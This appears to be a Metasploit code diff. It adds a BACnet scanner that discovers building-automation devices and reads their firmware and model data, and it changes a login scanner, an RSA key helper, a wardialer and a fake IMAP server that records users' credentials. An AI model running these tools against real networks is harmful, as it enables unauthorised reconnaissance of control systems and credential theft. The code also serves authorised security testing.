vprint_good("Login Successful: #{result.credential.private} (#{result.status}: #{result.proof&.strip})")
|
||||
else
|
||||
print_good("Login Successful: #{result.credential.private}")
|
||||
end
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
vprint_error("LOGIN FAILED: #{result.credential.private} (#{result.status}: #{result.proof&.strip})")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def check_host(_ip)
|
||||
connect
|
||||
banner = sock.get
|
||||
disconnect(sock)
|
||||
|
||||
if banner.include?('Access Denied, go away.') || banner.include?('text/rude-rejection')
|
||||
return Exploit::CheckCode::Safe('Access denied by network ACL')
|
||||
end
|
||||
|
||||
unless banner.include?('Content-Type: auth/request')
|
||||
return Exploit::CheckCode::Unknown('Unable to determine the service fingerprint')
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,417 @@
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Capture
|
||||
include Rex::Socket::Udp
|
||||
|
||||
FILE_NAME = 'bacnet-discovery'.freeze
|
||||
DEFAULT_SERVER_TIMEOUT = 1
|
||||
DEFAULT_SEND_COUNT = 1
|
||||
DEFAULT_SLEEP = 1
|
||||
|
||||
BACNET_ASHARE_STANDARD = "\x01".freeze
|
||||
BACNETIP_CONSTANT = "\x81".freeze
|
||||
BACNET_LLC = "\x82\x82\x03".freeze
|
||||
BACNET_BVLC = "\x81\x0b\x00\x0c".freeze
|
||||
BACNET_BVLC_LEN = BACNET_BVLC.length
|
||||
|
||||
BACNET_WHOIS_APDU_NPDU = "\x01\x20\xff\xff\x00\xff\x10\x08".freeze
|
||||
|
||||
# Building Automation and Control Network APDU
|
||||
# 0001 .... = APDU Type: Unconfirmed-REQ (1)
|
||||
# Unconfirmed Service Choice: i-Am (0)
|
||||
# ObjectIdentifier: device
|
||||
BACNET_UNCOFIRMED_REQ_I_AM_OBJ_DEVICE_PREFIX = "\x10\x00\xc4\x02".freeze
|
||||
DEFAULT_BACNET_PORT = 47808
|
||||
DISCOVERY_MESSAGE_L3 = BACNET_BVLC + BACNET_WHOIS_APDU_NPDU
|
||||
DISCOVERY_MESSAGE_L2 = BACNET_LLC + BACNET_WHOIS_APDU_NPDU
|
||||
DISCOVERY_MESSAGE_L2_LEN = Array[DISCOVERY_MESSAGE_L2.length].pack('n')
|
||||
|
||||
READ_MULTIPLE_DEVICES_PROP = "\x1e\x09\x08\x1f".freeze
|
||||
READ_MODEL_NAME_PROP = "\x19\x46".freeze
|
||||
READ_FIRMWARE_VERSION_PROP = "\x19\x2c".freeze
|
||||
READ_APP_SOFT_VERSION_PROP = "\x19\x0c".freeze
|
||||
READ_DESCRIPTION_PROP = "\x19\x1c".freeze
|
||||
|
||||
GET_PROPERTY_MESSAGES_L3_SIMPLE = [
|
||||
"\x81\n\u0000\u0011\u0001\u0004\u0002\u0002\u0000\f\f\u0002{object_identifier}#{READ_MODEL_NAME_PROP}", # model-name
|
||||
"\x81\n\u0000\u0011\u0001\u0004\u0002\u0002\u0000\f\f\u0002{object_identifier}#{READ_FIRMWARE_VERSION_PROP}", # firmware-revision
|
||||
"\x81\n\u0000\u0011\u0001\u0004\u0002\u0002\u0000\f\f\u0002{object_identifier}#{READ_APP_SOFT_VERSION_PROP}", # application-software-version
|
||||
"\x81\n\u0000\u0011\u0001\u0004\u0002\u0002\u0000\f\f\u0002{object_identifier}#{READ_DESCRIPTION_PROP}"
|
||||
].freeze # description
|
||||
|
||||
GET_PROPERTY_MESSAGES_L3_NESTED = [
|
||||
"\u0001${dest_net_id}{dadr_len}{dadr}\xFF\u0002\u0002\u0002\f\f\u0002{object_identifier}#{READ_MODEL_NAME_PROP}",
|
||||
"\u0001${dest_net_id}{dadr_len}{dadr}\xFF\u0002\u0002\u0002\f\f\u0002{object_identifier}#{READ_FIRMWARE_VERSION_PROP}",
|
||||
"\u0001${dest_net_id}{dadr_len}{dadr}\xFF\u0002\u0002\u0002\f\f\u0002{object_identifier}#{READ_APP_SOFT_VERSION_PROP}",
|
||||
"\u0001${dest_net_id}{dadr_len}{dadr}\xFF\u0002\u0002\u0002\f\f\u0002{object_identifier}#{READ_DESCRIPTION_PROP}"
|
||||
].freeze
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'BACnet Scanner',
|
||||
'Description' => '
|
||||
Discover BACnet devices by broadcasting Who-is message, then poll
|
||||
discovered devices for properties including model name,
|
||||
software version, firmware revision and description.
|
||||
',
|
||||
'Author' => ['Paz @ SCADAfence'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [UNRELIABLE_SESSION],
|
||||
'SideEffects' => [SCREEN_EFFECTS]
|
||||
}
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('TIMEOUT', [true, 'The socket connect timeout in seconds', DEFAULT_SERVER_TIMEOUT]),
|
||||
OptInt.new('COUNT', [true, 'The number of times to send each packet', DEFAULT_SEND_COUNT]),
|
||||
OptPort.new('PORT', [true, 'BACnet/IP UDP port to scan (usually between 47808-47817)', DEFAULT_BACNET_PORT]),
|
||||
OptString.new('INTERFACE', [true, 'The interface to scan from', 'eth1'])
|
||||
], self.class
|
||||
)
|
||||
deregister_options('RHOSTS', 'FILTER', 'PCAPFILE', 'LHOST')
|
||||
end
|
||||
|
||||
def hex_to_bin(str)
|
||||
str.scan(/../).map { |x| x.hex.chr }.join
|
||||
end
|
||||
|
||||
def bin_to_hex(str)
|
||||
str.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
|
||||
end
|
||||
|
||||
# Check if device is nested and extract relevant data
|
||||
def parse_npdu(data)
|
||||
is_nested = false
|
||||
if data.start_with? BACNET_ASHARE_STANDARD
|
||||
control = data[1].unpack1('C*')
|
||||
src_specifier = control & (1 << 3) != 0 # check if 4th bit is set
|
||||
dst_specifier = control & (1 << 5) != 0 # check if 6th bit is set
|
||||
|
||||
idx = 2
|
||||
if dst_specifier
|
||||
dst_len = data[idx + 2].ord
|
||||
idx += 3 + dst_len
|
||||
end
|
||||
if src_specifier
|
||||
src_net_id = data[idx..idx + 1]
|
||||
sadr_len = data[idx + 2]
|
||||
sadr = data[idx + 3..idx + 2 + sadr_len.unpack1('C*')]
|
||||
is_nested = true
|
||||
end
|
||||
|
||||
# if no network address specified - set as broadcast network address
|
||||
src_net_id ||= '\x00'
|
||||
end
|
||||
[is_nested, src_net_id, sadr_len, sadr]
|
||||
end
|
||||
|
||||
# Extracting index to start handling the data from
|
||||
def extract_index(data)
|
||||
if data.start_with? BACNET_ASHARE_STANDARD
|
||||
begin
|
||||
control = data[1].unpack1('C*')
|
||||
src_specifier = control & (1 << 3) != 0 # check if 4th bit is set
|
||||
dst_specifier = control & (1 << 5) != 0 # check if 6th bit is set
|
||||
idx = 2
|
||||
if dst_specifier
|
||||
idx += 3 + dst_len
|
||||
end
|
||||
if src_specifier
|
||||
sadr_len = data[idx + 2]
|
||||
idx += 3 + sadr_len.unpack1('C*')
|
||||
end
|
||||
idx += 1 if dst_specifier # increase index if both specifiers exist
|
||||
idx
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Broadcasting Who-is and returns a capture with the responses.
|
||||
def broadcast_who_is
|
||||
begin
|
||||
broadcast_addr = get_ipv4_broadcast(datastore['INTERFACE'])
|
||||
interface_addr = get_ipv4_addr(datastore['INTERFACE'])
|
||||
rescue StandardError
|
||||
raise StandardError, "Interface #{datastore['INTERFACE']} is down"
|
||||
end
|
||||
cap = []
|
||||
|
||||
# Create a socket for broadcast response and a socket for unicast response.
|
||||
lsocket = Rex::Socket::Udp.create({
|
||||
'LocalHost' => broadcast_addr,
|
||||
'LocalPort' => datastore['PORT'],
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||
})
|
||||
ssocket = Rex::Socket::Udp.create({
|
||||
'LocalHost' => interface_addr,
|
||||
'LocalPort' => datastore['PORT'],
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||
})
|
||||
datastore['COUNT'].times { lsocket.sendto(DISCOVERY_MESSAGE_L3, '255.255.255.255', datastore['PORT'], 0) }
|
||||
|
||||
# Collect responses with unicast or broadcast destination.
|
||||
loop do
|
||||
data, host, port = lsocket.recvfrom(65535, datastore['TIMEOUT'])
|
||||
data2, host2, port2 = ssocket.recvfrom(65535, datastore['TIMEOUT'])
|
||||
break if (host.nil? && host2.nil?)
|
||||
|
||||
cap << [data, host, port] if host
|
||||
cap << [data2, host2, port2] if host2
|
||||
end
|
||||
lsocket.close
|
||||
cap
|
||||
end
|
||||
|
||||
# Analyze I-am packets,and prepare read-property messages for each.
|
||||
def analyze_i_am_devices(capture)
|
||||
devices_data = {}
|
||||
instance_numbers = []
|
||||
capture.each do |cap|
|
||||
data = cap[0]
|
||||
ip = cap[1]
|
||||
next unless data[0] == BACNETIP_CONSTANT # If communication is not a bacnet/ip
|
||||
|
||||
data = data[4..]
|
||||
index = data.index(BACNET_UNCOFIRMED_REQ_I_AM_OBJ_DEVICE_PREFIX)
|
||||
next unless index # If cap has no I-am object
|
||||
|
||||
raw_instance_number = bin_to_hex(data[(index + BACNET_UNCOFIRMED_REQ_I_AM_OBJ_DEVICE_PREFIX.length)..(index + BACNET_UNCOFIRMED_REQ_I_AM_OBJ_DEVICE_PREFIX.length + 2)]).to_i(16) & 0x3fffff
|
||||
instance_number = raw_instance_number.to_s(16).rjust(6, '0')
|
||||
next if instance_numbers.include? instance_number # Pass if we already analysed this instance number
|
||||
|
||||
devices_data[[instance_number, ip]] = data unless devices_data[[instance_number, ip]]
|
||||
end
|
||||
devices_data
|
||||
end
|
||||
|
||||
def create_messages_for_devices(devices_data)
|
||||
messages = {}
|
||||
devices_data.each do |key, data|
|
||||
instance_number = hex_to_bin(key[0])
|
||||
items = parse_npdu(data) # Get specifier data
|
||||
# Check if device is nested and create messages accordingly
|
||||
if items[0] == true
|
||||
messages[key] = create_nested_messages(instance_number, items)
|
||||
else
|
||||
messages[key] = create_simple_messages(instance_number)
|
||||
end
|
||||
end
|
||||
messages
|
||||
end
|
||||
|
||||
# Create messages for nested device and return them in array.
|
||||
def create_nested_messages(instance_number, items)
|
||||
nested_messages = []
|
||||
GET_PROPERTY_MESSAGES_L3_NESTED.each do |msg_base|
|
||||
msg = msg_base
|
||||
.sub('{object_identifier}', instance_number)
|
||||
.sub('{dest_net_id}', items[1])
|
||||
.sub('{dadr_len}', items[2])
|
||||
.sub('{dadr}', items[3])
|
||||
length = Array(msg.length + BACNET_BVLC_LEN).pack('n*')
|
||||
msg = "\x81\n#{length}#{msg}"
|
||||
nested_messages.append(msg)
|
||||
end
|
||||
nested_messages
|
||||
end
|
||||
|
||||
# Create messages for non-nested device and return them in array.
|
||||
def create_simple_messages(instance_number)
|
||||
simple_messages = []
|
||||
GET_PROPERTY_MESSAGES_L3_SIMPLE.each do |msg_base|
|
||||
msg = msg_base.sub('{object_identifier}', instance_number)
|
||||
simple_messages.append(msg)
|
||||
end
|
||||
simple_messages
|
||||
end
|
||||
|
||||
# Loop on recorded packets and extract data from read-property messages
|
||||
def extract_data(capture)
|
||||
asset_data = {}
|
||||
capture.each do |packet|
|
||||
data = packet[0][4..]
|
||||
items = parse_npdu(data)
|
||||
index = extract_index(data)
|
||||
asset_data['sadr'] = bin_to_hex(items[3]) if items[0] == true
|
||||
type = data[index + 8..index + 9]
|
||||
attribute = ''
|
||||
case type
|
||||
when READ_MODEL_NAME_PROP
|
||||
attribute = 'model-name'
|
||||
when READ_DESCRIPTION_PROP
|
||||
attribute = 'description'
|
||||
when READ_APP_SOFT_VERSION_PROP
|
||||
attribute = 'application-software-version'
|
||||
when READ_FIRMWARE_VERSION_PROP
|
||||
attribute = 'firmware-revision'
|
||||
else
|
||||
raise "undefined attribute for property number #{bin_to_hex(type)}."
|
||||
end
|
||||
value = bin_to_hex(data[index + 9..])[/3e(.*?)3f/m, 1]
|
||||
value = hex_to_bin(value)
|
||||
value = (value[value.index(hex_to_bin('00')) + 1..]).force_encoding('UTF-8') # parsing the needed text
|
||||
asset_data[attribute] = value
|
||||
end
|
||||
asset_data
|
||||
end
|
||||
|
||||
# Gets properties from devices and returns a hash with the details of each device.
|
||||
def get_properties_from_devices(messages)
|
||||
devices_by_ip = {}
|
||||
messages.each do |key, message_block|
|
||||
instance_number = key[0].to_i(16)
|
||||
ip = key[1]
|
||||
|
||||
capture = send_read_properties(message_block, ip, instance_number)
|
||||
begin
|
||||
device = extract_data(capture)
|
||||
raise StandardError if device.empty?
|
||||
|
||||
device['instance-number'] = instance_number.to_s
|
||||
devices_by_ip[ip] = [] unless devices_by_ip[ip]
|
||||
devices_by_ip[ip].append(device)
|
||||
rescue StandardError
|
||||
print_bad("Couldn't collect data for asset number #{instance_number}.")
|
||||
end
|
||||
end
|
||||
devices_by_ip
|
||||
end
|
||||
|
||||
# Sending read-property packets and returns a pcap with the responses.
|
||||
def send_read_properties(messages, ip, instance_number)
|
||||
cap = []
|
||||
ssocket = Rex::Socket::Udp.create({
|
||||
'PeerHost' => ip,
|
||||
'PeerPort' => datastore['PORT'],
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||
})
|
||||
print_status("Querying device number #{instance_number} in ip #{ip}")
|
||||
messages.each do |message|
|
||||
ssocket.sendto(message, ip, datastore['PORT'], 0)
|
||||
loop do
|
||||
data, host, port = ssocket.recvfrom(65535, datastore['TIMEOUT'])
|
||||
break if host.nil?
|
||||
|
||||
cap << [data, host, port]
|
||||
end
|
||||
end
|
||||
ssocket.close
|
||||
cap
|
||||
end
|
||||
|
||||
# Iterates over all the devices and prints the details to the user.
|
||||
def output_results(devices_by_ip)
|
||||
devices_by_ip.each_value do |ip_group|
|
||||
ip_group.each do |asset|
|
||||
sadr = ''
|
||||
if asset['sadr']
|
||||
sadr = "sadr: #{asset['sadr']}\n"
|
||||
end
|
||||
print_good(<<~OUTPUT)
|
||||
for asset number #{asset['instance-number']}:
|
||||
\tmodel name: #{asset['model-name']}
|
||||
\tfirmware revision: #{asset['firmware-revision']}
|
||||
\tapplication software version: #{asset['application-software-version']}
|
||||
\tdescription: #{asset['description']}
|
||||
\t#{sadr}
|
||||
OUTPUT
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Convert data values to xml format.
|
||||
def parse_data_to_xml(raw_data)
|
||||
data = ''
|
||||
raw_data.each do |ip, devices|
|
||||
chunk = <<~IP.chomp
|
||||
<ip>
|
||||
<value> #{ip} </value>
|
||||
IP
|
||||
devices.each do |device|
|
||||
sadr = ''
|
||||
if device['sadr']
|
||||
sadr = "
|
||||
<sadr> #{device['sadr']} </sadr>"
|
||||
end
|
||||
chunk = <<~XML.chomp
|
||||
#{chunk}
|
||||
<asset>
|
||||
<instance-number> #{device['instance-number']} </instance-number>
|
||||
<model-name> #{device['model-name']} </model-name>
|
||||
<application-software-version> #{device['application-software-version']} </application-software-version>
|
||||
<firmware-revision> #{device['firmware-revision']} </firmware-revision>
|
||||
<description> #{device['description']} </description>#{sadr}
|
||||
</asset>
|
||||
XML
|
||||
end
|
||||
chunk += <<~IP
|
||||
|
||||
</ip>
|
||||
IP
|
||||
data += chunk
|
||||
end
|
||||
data
|
||||
end
|
||||
|
||||
def get_device_array(devices_by_ip)
|
||||
devices = []
|
||||
devices_by_ip.each do |ip, batch|
|
||||
batch.each do |device|
|
||||
device['ip'] = ip
|
||||
devices << device
|
||||
end
|
||||
end
|
||||
devices
|
||||
end
|
||||
|
||||
def run
|
||||
# Validate user input
|
||||
raise Msf::OptionValidateError, ['TIMEOUT'] if datastore['TIMEOUT'].negative?
|
||||
raise Msf::OptionValidateError, ['COUNT'] if datastore['COUNT'] < 1
|
||||
raise Msf::OptionValidateError, ['INTERFACE'] if datastore['INTERFACE'].empty?
|
||||
|
||||
begin
|
||||
# Broadcast who-is and create request-property messages for detected devices.
|
||||
print_status "Broadcasting Who-is via #{datastore['INTERFACE']}"
|
||||
capture = broadcast_who_is
|
||||
devices_data = analyze_i_am_devices(capture)
|
||||
messages = create_messages_for_devices(devices_data)
|
||||
|
||||
# If there are messages to send
|
||||
if !messages.empty?
|
||||
print_status "found #{messages.length} devices"
|
||||
sleep(DEFAULT_SLEEP)
|
||||
devices_by_ip = get_properties_from_devices(messages)
|
||||
print_status 'Done collecting data'
|
||||
sleep(DEFAULT_SLEEP)
|
||||
output_results(devices_by_ip)
|
||||
else
|
||||
fail_with(Failure::NotFound, 'No devices found. Exiting.')
|
||||
end
|
||||
rescue StandardError => e
|
||||
fail_with(Failure::Unknown, e.message)
|
||||
return
|
||||
end
|
||||
begin
|
||||
data = parse_data_to_xml(devices_by_ip)
|
||||
begin
|
||||
store_local('bacnet.devices.info'.dup, 'text/xml', data, FILE_NAME)
|
||||
print_good("Successfully saved data to local store named #{FILE_NAME}.xml")
|
||||
rescue StandardError # If there are no privileges to save a file
|
||||
devices = get_device_array(devices_by_ip)
|
||||
report_note(
|
||||
ips: devices_by_ip.keys,
|
||||
devices: devices,
|
||||
proto: 'udp'
|
||||
)
|
||||
print_good('Successfully reported data')
|
||||
end
|
||||
print_status('Done.')
|
||||
rescue StandardError => e
|
||||
fail_with(Failure::Unknown, e.message)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -648,23 +648,30 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
# Generates the private key from the P, Q and E values
|
||||
def key_from_pqe(p, q, e)
|
||||
# Returns an RSA Private Key from Factors
|
||||
key = OpenSSL::PKey::RSA.new()
|
||||
key.set_factors(p, q)
|
||||
|
||||
n = key.p * key.q
|
||||
phi = (key.p - 1) * (key.q - 1 )
|
||||
n = p * q
|
||||
phi = (p - 1) * (q - 1 )
|
||||
d = OpenSSL::BN.new(e).mod_inverse(phi)
|
||||
|
||||
key.set_key(n, e, d)
|
||||
dmp1 = d % (p - 1)
|
||||
dmq1 = d % (q - 1)
|
||||
iqmp = q.mod_inverse(p)
|
||||
|
||||
dmp1 = key.d % (key.p - 1)
|
||||
dmq1 = key.d % (key.q - 1)
|
||||
iqmp = key.q.mod_inverse(key.p)
|
||||
asn1 = OpenSSL::ASN1::Sequence(
|
||||
[
|
||||
OpenSSL::ASN1::Integer(0),
|
||||
OpenSSL::ASN1::Integer(n),
|
||||
OpenSSL::ASN1::Integer(e),
|
||||
OpenSSL::ASN1::Integer(d),
|
||||
OpenSSL::ASN1::Integer(p),
|
||||
OpenSSL::ASN1::Integer(q),
|
||||
OpenSSL::ASN1::Integer(dmp1),
|
||||
OpenSSL::ASN1::Integer(dmq1),
|
||||
OpenSSL::ASN1::Integer(iqmp)
|
||||
]
|
||||
)
|
||||
|
||||
key.set_crt_params(dmp1, dmq1, iqmp)
|
||||
|
||||
return key
|
||||
key = OpenSSL::PKey::RSA.new(asn1.to_der)
|
||||
key
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -95,8 +95,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
raise RuntimeError, "Telephony not available"
|
||||
end
|
||||
|
||||
@confdir = File.join(Msf::Config.get_config_root, 'wardial')
|
||||
@datadir = File.join(Msf::Config.get_config_root, 'logs', 'wardial')
|
||||
@confdir = File.join(Msf::Config.config_directory, 'wardial')
|
||||
@datadir = File.join(Msf::Config.config_directory, 'logs', 'wardial')
|
||||
|
||||
# make sure working dirs exist
|
||||
FileUtils.mkdir_p(@confdir)
|
||||
|
||||
@@ -52,7 +52,33 @@ class MetasploitModule < Msf::Auxiliary
|
||||
data = c.get_once
|
||||
return unless data
|
||||
num, cmd, arg = data.strip.split(/\s+/, 3)
|
||||
arg ||= ""
|
||||
cmd ||= ''
|
||||
arg ||= ''
|
||||
args = []
|
||||
|
||||
# If the argument is a number in braces, such as {3}, it means data is coming
|
||||
# separately
|
||||
if arg.chomp =~ /\{[0-9]+\}$/
|
||||
loop do
|
||||
# Ask for more data
|
||||
c.put "+ \r\n"
|
||||
|
||||
# Get the next line
|
||||
arg = (c.get_once || '').chomp
|
||||
|
||||
# Remove the length field, if there is one
|
||||
if arg =~ /(.*) \{[0-9]+\}$/
|
||||
args << $1
|
||||
else
|
||||
# If there's no length field, we're at the end
|
||||
args << arg
|
||||
break
|
||||
end
|
||||
end
|
||||
else
|
||||
# If there's no length, treat it like we used to
|
||||
args = arg.split(/\s+/)
|
||||
end
|
||||
|
||||
if cmd.upcase == 'CAPABILITY'
|
||||
c.put "* CAPABILITY IMAP4 IMAP4rev1 IDLE LOGIN-REFERRALS " +
|
||||
@@ -74,10 +100,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
if cmd.upcase == 'LOGIN'
|
||||
@state[c][:user], @state[c][:pass] = arg.split(/\s+/, 2)
|
||||
|
||||
@state[c][:user], @state[c][:pass] = args
|
||||
register_creds(@state[c][:ip], @state[c][:user], @state[c][:pass], 'imap')
|
||||
print_good("IMAP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
|
||||
|
||||
return
|
||||
end
|
||||
|
||||
@@ -87,6 +113,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||
return
|
||||
end
|
||||
|
||||
if cmd.upcase == 'ID'
|
||||
# RFC2971 specifies the ID command, and `NIL` is a valid response
|
||||
c.put("* ID NIL\r\n")
|
||||
c.put("#{num} OK ID completed\r\n")
|
||||
return
|
||||
end
|
||||
|
||||
@state[c][:pass] = data.strip
|
||||
c.put "#{num} NO LOGIN FAILURE\r\n"
|
||||
return
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user